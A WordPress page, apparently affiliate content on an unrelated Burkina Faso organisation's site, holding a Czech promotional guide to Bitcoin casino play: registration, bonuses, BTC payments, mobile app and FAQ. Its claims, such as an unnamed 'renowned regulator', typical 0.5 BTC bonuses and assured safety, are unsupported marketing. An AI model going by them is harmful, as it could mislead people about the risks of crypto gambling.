<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">


	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">


			
				<article id="post-838" class="post-838 page type-page status-publish hentry">

				
					<h1 class="entry-title main_title">BTC hrát: aplikace a mobilní průvodce</h1>
				
				
					<div class="entry-content">
					<figure data-affgun-media="hero" style="margin:0 0 1.5em 0;text-align:center"><img decoding="async" src="https://i.ytimg.com/vi/-UYXWf0fXvo/hqdefault.jpg" alt="" style="max-width:100%;height:auto;border-radius:8px" loading="lazy" referrerpolicy="no-referrer"></figure>
<h1>Jak bezpečně a výhodně BTC hrát v českém online kasinu</h1>
<h2 id="pro-zvolit-btc-pro-hran-v-kasinu">Proč zvolit BTC pro hraní v kasinu</h2>
<div data-affgun-media="video" style="position:relative;padding-bottom:56.25%;height:0;overflow:hidden;margin:1.5em 0;border-radius:8px"><iframe src="https://www.youtube-nocookie.com/embed/-UYXWf0fXvo" style="position:absolute;top:0;left:0;width:100%;height:100%;border:0;border-radius:8px" loading="lazy" referrerpolicy="strict-origin-when-cross-origin" allow="accelerometer;autoplay;clipboard-write;encrypted-media;gyroscope;picture-in-picture" allowfullscreen=""></iframe></div>
<p>Bitcoiny se staly populární volbou pro hráče, kteří hledají rychlé a diskrétní transakce. Díky decentralizované povaze kryptoměny se vyhnete tradičním bankovním poplatkům a můžete si užívat okamžité vklady i výběry. Navíc mnoho českých kasin nabízí speciální bonusy jen pro uživatele, kteří si zvolí BTC jako platební metodu. Pokud se vám chce <strong>BTC hrát</strong> a zároveň mít kontrolu nad svými financemi, tento přístup vám poskytne flexibilitu i bezpečí.</p>
<nav aria-label="Table of contents">
<ol>
<li><a href="#pro-zvolit-btc-pro-hran-v-kasinu">Proč zvolit BTC pro hraní v kasinu</a></li>
<li><a href="#registrace-a-oven-krok-za-krokem">Registrace a ověření – krok za krokem</a>
<ol>
<li><a href="#registrace-krok-po-kroku">Registrace krok po kroku</a></li>
</ol>
</li>
<li><a href="#bonusy-a-podmnky-pro-btc-hre">Bonusy a podmínky pro BTC hráče</a>
<ol>
<li><a href="#vtac-bonus-a-wagering-requirements">Vítací bonus a wagering requirements</a></li>
</ol>
</li>
<li><a href="#platebn-metody-vkldn-a-vbry-v-btc">Platební metody: vkládání a výběry v BTC</a></li>
<li><a href="#mobiln-a-live-casino-zitek">Mobilní a live casino zážitek</a>
<ol>
<li><a href="#mobiln-aplikace-a-live-hry">Mobilní aplikace a live hry</a></li>
</ol>
</li>
<li><a href="#bezpenost-licence-a-zodpovdn-hran">Bezpečnost, licence a zodpovědné hraní</a></li>
<li><a href="#asto-kladen-otzky-faq">Často kladené otázky (FAQ)</a></li>
</ol>
</nav>
<p>Pro české hráče je také výhodou, že Bitcoin není vázán na konkrétní měnu, takže můžete snadno převádět mezi CZK a BTC podle aktuálního kurzu. To vám umožní lépe spravovat bankroll a využívat výhodných kurzů. V praxi to znamená méně papírování a rychlejší přístup k výhrám, což je hlavní důvod, proč se mnoho začátečníků rozhodne <em>BTC hrát</em> právě u nás.</p>
<h2 id="registrace-a-oven-krok-za-krokem">Registrace a ověření – krok za krokem</h2>
<h3 id="registrace-krok-po-kroku">Registrace krok po kroku</h3>
<p>První krok je otevření účtu na <a href="https://btccasino.cz/">Bitcoin kasino</a>. Vyplníte základní údaje – e‑mail, heslo a volitelně telefon. Poté potvrďte e‑mail pomocí odkazu, který vám přijde do schránky. Registrace trvá jen pár minut a po jejím dokončení můžete přistoupit k prvnímu vkladu v Bitcoinech.</p>
<p>Ovšem pro zvýšenou bezpečnost bude kasino vyžadovat KYC (poznání zákazníka). Nahrajete kopii občanského průkazu a případně doklad o adrese. Tento proces může zabrat až 24 hodin, ale po schválení získáte plný přístup ke všem bonusům a limitům výběru. Vše probíhá v zabezpečeném rozhraní, takže vaše data jsou v bezpečí.</p>
<h2 id="bonusy-a-podmnky-pro-btc-hre">Bonusy a podmínky pro BTC hráče</h2>
<h3 id="vtac-bonus-a-wagering-requirements">Vítací bonus a wagering requirements</h3>
<p>Většina licencovaných kasin v České republice nabízí vstupní bonus speciálně pro kryptoměny. Obvykle se jedná o 100 % match bonus až do výše 0,5 BTC plus několik free spinů na populárních automatech. Při uplatnění bonusu je nutné splnit wagering requirements, které se pohybují kolem 30‑35× celkové částky bonusu.</p>
<p>Upozorňujeme, že ne všechny hry přispívají stejně ke splnění podmínek – sloty mají nejvyšší příspěvek, zatímco live casino může mít nižší koeficient. Proto je dobré si před hraním přečíst podrobný bonusový popis a naplánovat si, jaké hry použijete ke splnění wagering requirements. Výše uvedený přístup vám pomůže maximalizovat zisk a minimalizovat ztrátu času.</p>
<h2 id="platebn-metody-vkldn-a-vbry-v-btc">Platební metody: vkládání a výběry v BTC</h2>
<p>Vkládat a vybírat peníze pomocí Bitcoinu je v našem kasinu naprosto jednoduché. Po přihlášení zvolíte sekci „Deposit“ a získáte unikátní Bitcoin adresu, na kterou pošlete požadovanou částku. Vklady jsou zpracovány během několika minut, což je podstatná výhoda oproti tradičním bankovním převodům, které mohou trvat dny.</p>
<p>Výběry se liší v rychlosti podle zvolené blockchainové sítě. Níže uvádíme přehled typických časů a poplatků.</p>
<table border="1" cellpadding="5" cellspacing="0">
<thead>
<tr>
<th>Metoda výběru</th>
<th>Průměrná rychlost</th>
<th>Poplatek</th>
</tr>
</thead>
<tbody>
<tr>
<td>Standardní Bitcoin (BTC)</td>
<td>10‑30 minut</td>
<td>0,0005 BTC</td>
</tr>
<tr>
<td>Lightning Network</td>
<td>Okamžitě</td>
<td>0,0001 BTC</td>
</tr>
<tr>
<td>Instant payout (vnitřní převod)</td>
<td>Do 5 minut</td>
<td>Žádný</td>
</tr>
</tbody>
</table>
<p>Kromě Bitcoinu můžete využít i další kryptoměny, ale pokud chcete <strong>BTC hrát</strong>, držte se výše uvedených metod, aby byl váš cash‑flow co nejplynulejší. Všechny transakce jsou monitorovány systémem anti‑fraud, takže máte jistotu, že vaše výhry dorazí bezpečně a bez zbytečného zdržení.</p>
<h2 id="mobiln-a-live-casino-zitek">Mobilní a live casino zážitek</h2>
<h3 id="mobiln-aplikace-a-live-hry">Mobilní aplikace a live hry</h3>
<p>Naše platforma nabízí plně optimalizovanou mobilní verzi, která funguje jak v mobilním prohlížeči, tak v samostatné aplikaci pro Android i iOS. Aplikace podporuje všechny funkce, včetně vkladů v BTC, bonusových oznámení a okamžitého přístupu k live dealerům. Díky tomu můžete hrát i na cestách, aniž byste museli měnit zařízení.</p>
<p>Live casino nabízí reálné dealery, ruletu, blackjack a baccarat, kde můžete <em>BTC hrát</em> přímo proti živým profesionálům. Streamy jsou ve vysokém rozlišení a přichází s interaktivním chatem, takže máte pocit, že jste přímo na herním podlaze v Las Vegas. Pro začátečníky jsou k dispozici tutoriály, které vám pomohou pochopit pravidla a strategii během několika minut.</p>
<h2 id="bezpenost-licence-a-zodpovdn-hran">Bezpečnost, licence a zodpovědné hraní</h2>
<p>Kasino je licencováno od renomovaného regulačního orgánu, což zaručuje transparentní provoz a dodržování přísných standardů. Šifrování SSL 256‑bit chrání veškeré osobní a finanční údaje, a všechny Bitcoin transakce jsou sledovány blockchainovým auditem, takže jsou plně prověřitelné.</p>
<p>V rámci zodpovědného hraní poskytujeme nástroje pro limity vkladů, časové omezení a možnost samovolného vyloučení. Pokud cítíte, že by hraní mohlo ohrozit váš rozpočet, můžete si nastavit denní limit nebo kontaktovat zákaznickou podporu, která je k dispozici 24/7 a pomůže vám s jakýmkoli požadavkem.</p>
<h2 id="asto-kladen-otzky-faq">Často kladené otázky (FAQ)</h2>
<ul>
<li><strong>Jak rychle se mé vklady v BTC projeví?</strong> Vklady jsou obvykle potvrzeny během 5‑15 minut, záleží na aktuální zátěži sítě.</li>
<li><strong>Jsou výhry v BTC okamžitě vyplatitelné?</strong> Ano, pokud použijete Lightning Network nebo interní instant payout, výplata může trvat méně než 5 minut.</li>
<li><strong>Potřebuji speciální účet pro kryptoměny?</strong> Ne, stačí vám běžný herní účet, kde můžete aktivovat Bitcoin jako platební metodu v nastavení.</li>
<li><strong>Jaké jsou wagering requirements pro bonus?</strong> Standardně 30‑35×, ale konkrétní podmínky najdete v bonusové sekci po přihlášení.</li>
</ul>
<p>Věříme, že tento praktický průvodce vám pomůže vstoupit do světa online hazardu s Bitcoiny s jistotou a pohodlím. Připravte se na rychlé výhry, bezpečné transakce a spoustu zábavy – a nezapomeňte hrát zodpovědně.</p>
					</div>

				
				</article>

			

			</div>

					</div>
	</div>


</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="https://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="https://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"https://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"https://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"https://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"c2017a83a8","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"b82a2f40be","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"838","unique_test_id":"","ab_bounce_rate":"5","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"https://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="https://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="https://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
